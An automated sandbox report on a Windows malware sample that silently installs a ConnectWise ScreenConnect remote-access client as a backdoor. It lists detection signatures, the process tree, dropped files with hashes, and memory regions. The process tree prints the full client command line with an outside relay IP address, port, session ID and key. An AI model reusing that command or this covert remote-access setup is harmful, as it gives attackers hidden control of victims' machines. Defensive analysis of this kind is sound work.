Analysis

  • max time kernel
    149s
  • max time network
    121s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/10/2026, 14:18

General

  • Target
    2026-10-19_8795ad01f54063b1533a9d6c52f8d73d_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
  • Size 5.4MB
  • Sample261020-rmf22a1sfs
  • SHA256 22a86c1c554cd463523f1bb7a0eb47192c14e1d3db9d570f14b3a12ad2876d27
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 30 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-19_8795ad01f54063b1533a9d6c52f8d73d_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-19_8795ad01f54063b1533a9d6c52f8d73d_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2808
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\ecb75d2c132078e2\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4640
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5812
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding E1A84BE53BF52A8386C97C120B552348 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2232
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI476.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240780515 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3916
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3588
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding D9A591C7DB4DA4ADEC517A0574AB5772
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:620
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9AEB0CE6A3B7064D3E81C9E4806FAD1D E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1028
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5936
    • C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=85.137.18.6&p=8041&s=e7b97ba8-fbb1-4580-95ed-d5c560c2655a&k=BgIAAACkAABSU0ExAAgAAAEAAQBl0o27dvXab3v48kbNVVVnpEfHsJNK0NCRlzb9Z9pnIurlB9M2Ntc2gqdHSV6avT5JdoWuDik8AanmRM3GbTlvLmyKVchW9UmLX3fxCbkPQ41PlrKfKnjicLIowW8fnygUrpWhtET70bP1wGYnvsQs6kF1ZQiYAFi69kPQcerVaR4holZOk2AhLgq1HS0odEMboP6Or9CO4LncAeCjoxXG4eazzXwFsXYhGcpKOnFIPbVfOcjhC0JhQRBNB5B2aBTen245GtUz5lWKGAWN2FivjWOcYDq0ofmYMUyTCXXKnStyVWtKg0lwrkdksAxzcgON12HpQxSpi2QsjV0ISkbt&t=balog&c=CZ3&c=Marek0Balog&c=&c=&c=&c=&c=&c="
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3400
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3400 -s 1340
        2⤵
        • Program crash
        PID:2424
    • C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=85.137.18.6&p=8041&s=e7b97ba8-fbb1-4580-95ed-d5c560c2655a&k=BgIAAACkAABSU0ExAAgAAAEAAQBl0o27dvXa%2b3v48k%2bNVVVnpEfHsJNK0NCRlz%2b9Z9pnIurlB9M2Ntc2gqdHSV6avT5JdoWuDik8AanmRM3G%2bTlvLmyKVchW9UmLX3fxCbkPQ41PlrK%2fKnjicLIowW8%2fnygUrpWhtET70bP1wGYnvsQs6kF1ZQiYAFi69kPQcerVaR4holZOk2AhLgq1HS0odEMboP6Or9CO4LncAeCjoxXG4eazzXwFsXYhGcpKOnFIP%2bV%2fOcjhC0JhQRBNB5B2aBTen245GtUz5lWKGAWN2FivjWOcYDq0ofmYMUyTCXXKnStyVWtKg0lwrkdksAxzcgON12HpQxSpi2QsjV0ISkbt&t=balog&c=CZ3&c=Marek%20Balog&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1344
      • C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\ScreenConnect.WindowsClient.exe" "RunRole" "0c48dbb7-986c-4ae9-a26f-c4907f313ef7" "User"
        2⤵
        • Executes dropped EXE
        PID:4808
      • C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\ScreenConnect.WindowsClient.exe" "RunRole" "323480b3-7fd4-42b2-a0a3-af0169167064" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:2712
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 3400 -ip 3400
      1⤵
        PID:5340
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k GPSvcGroup
        1⤵
          PID:944

        Network

              MITRE ATT&CK Enterprise v16

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              Downloads

              e5a4eaf.rbs

              • Path C:\Config.Msi\e5a4eaf.rbs
              • Size 214KB
              • SHA256 7896d45d7d37c09a7e6faad4798a08b34585dcb2f9ad52864dabaea76cf9d86f
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.en-US.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\Client.en-US.resources
              • Size 48KB
              • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\Client.resources
              • Size 28KB
              • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Client.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\ScreenConnect.Client.dll
              • Size 192KB
              • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.ClientService.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\ScreenConnect.ClientService.dll
              • Size 66KB
              • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.ClientService.exe

              • Path C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\ScreenConnect.ClientService.exe
              • Size 93KB
              • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsAuthenticationPackage.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\ScreenConnect.WindowsAuthenticationPackage.dll
              • Size 254KB
              • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsClient.exe

              • Path C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\ScreenConnect.WindowsClient.exe
              • Size 593KB
              • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsClient.exe.config

              • Path C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\ScreenConnect.WindowsClient.exe.config
              • Size 266B
              • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
              • MD5 SHA1 SHA512 TLSH

              ScreenConnect.WindowsCredentialProvider.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\ScreenConnect.WindowsCredentialProvider.dll
              • Size 837KB
              • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              app.config

              • Path C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\app.config
              • Size 2KB
              • SHA256 bcf832dd004ae62445b3af57176036ea31c2d6ba6c283b08da053b7a7635f427
              • MD5 SHA1 SHA512 TLSH

              system.config

              • Path C:\Program Files (x86)\ScreenConnect Client (ecb75d2c132078e2)\system.config
              • Size 933B
              • SHA256 eb6f2c3cf6d6b028c3f26af37474920e311a029f00f4f54b857f27056071a9c1
              • MD5 SHA1 SHA512 TLSH

              MSI476.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\MSI476.tmp
              • Size 1.0MB
              • SHA256 df08b98808c85da1d1ac7338dab9e4f0beeceee270d95bce2e044feb6117dfa6
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Microsoft.Deployment.WindowsInstaller.dll

              • Path C:\Users\Admin\AppData\Local\Temp\MSI476.tmp-\Microsoft.Deployment.WindowsInstaller.dll
              • Size 172KB
              • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Core.dll

              • Path C:\Users\Admin\AppData\Local\Temp\MSI476.tmp-\ScreenConnect.Core.dll
              • Size 538KB
              • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.InstallerActions.dll

              • Path C:\Users\Admin\AppData\Local\Temp\MSI476.tmp-\ScreenConnect.InstallerActions.dll
              • Size 11KB
              • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Windows.dll

              • Path C:\Users\Admin\AppData\Local\Temp\MSI476.tmp-\ScreenConnect.Windows.dll
              • Size 1.6MB
              • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.ClientSetup.msi

              • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\ecb75d2c132078e2\ScreenConnect.ClientSetup.msi
              • Size 9.5MB
              • SHA256 52c354facc10445af113af9b6e7ab76c83725f9013e171d2273d6356325496e2
              • MD5 SHA1 SHA512 SSDEEP TLSH

              MSI5517.tmp

              • Path C:\Windows\Installer\MSI5517.tmp
              • Size 202KB
              • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
              • MD5 SHA1 SHA512 SSDEEP TLSH

              metadata-2

              • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
              • Size 26.1MB
              • SHA256 b955c3ee8568ecaea8da0b627cb8c55d98e90d9a72c51b54ef73a09f58c7ea03
              • MD5 SHA1 SHA512 SSDEEP TLSH

              {56cb7512-b942-4843-b823-cd7d0252c160}_OnDiskSnapshotProp

              • Path \??\Volume{e3f46304-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{56cb7512-b942-4843-b823-cd7d0252c160}_OnDiskSnapshotProp
              • Size 6KB
              • SHA256 f4e84f5315d84d25ec1e4f2e06590bbfe5bb6e939cee08240b4a1386a54e2666
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/1344-125-0x0000000004380000-0x00000000043C1000-memory.dmp

              memory/1344-127-0x0000000004610000-0x00000000046E5000-memory.dmp

              memory/1344-123-0x0000000004420000-0x00000000044B2000-memory.dmp

              memory/1344-122-0x0000000004340000-0x0000000004376000-memory.dmp

              memory/1344-118-0x00000000042F0000-0x0000000004340000-memory.dmp

              memory/2808-2-0x00000000060C0000-0x00000000063B2000-memory.dmp

              memory/2808-3-0x0000000005DC0000-0x0000000005E4C000-memory.dmp

              memory/2808-9-0x0000000074F00000-0x00000000756BC000-memory.dmp

              memory/2808-8-0x0000000074F00000-0x00000000756BC000-memory.dmp

              memory/2808-7-0x0000000006970000-0x0000000006F2A000-memory.dmp

              memory/2808-5-0x0000000005D30000-0x0000000005D52000-memory.dmp

              memory/2808-13-0x0000000074F00000-0x00000000756BC000-memory.dmp

              memory/2808-1-0x0000000003790000-0x0000000003798000-memory.dmp

              memory/2808-0-0x0000000074F12000-0x0000000074F13000-memory.dmp

              memory/2808-10-0x0000000074F00000-0x00000000756BC000-memory.dmp

              memory/2808-6-0x0000000005E50000-0x0000000005FFC000-memory.dmp

              memory/2808-4-0x0000000074F00000-0x00000000756BC000-memory.dmp

              memory/3400-87-0x0000000004BD0000-0x0000000004BE8000-memory.dmp

              memory/3916-44-0x0000000005590000-0x000000000573C000-memory.dmp

              memory/3916-36-0x0000000003260000-0x000000000326A000-memory.dmp

              memory/3916-40-0x0000000003300000-0x000000000338C000-memory.dmp

              memory/3916-32-0x0000000003210000-0x000000000323E000-memory.dmp

              memory/4808-137-0x00000000021D0000-0x0000000002206000-memory.dmp

              memory/4808-136-0x0000000000080000-0x0000000000118000-memory.dmp

              memory/4808-139-0x000000001B310000-0x000000001B4BC000-memory.dmp

              memory/4808-138-0x000000001B0D0000-0x000000001B15C000-memory.dmp

              memory/4808-140-0x000000001B4C0000-0x000000001B648000-memory.dmp

              memory/4808-141-0x0000000000990000-0x00000000009A8000-memory.dmp

              memory/4808-142-0x00000000009D0000-0x00000000009E8000-memory.dmp

              memory/5812-54-0x0000029282310000-0x0000029282CB4000-memory.dmp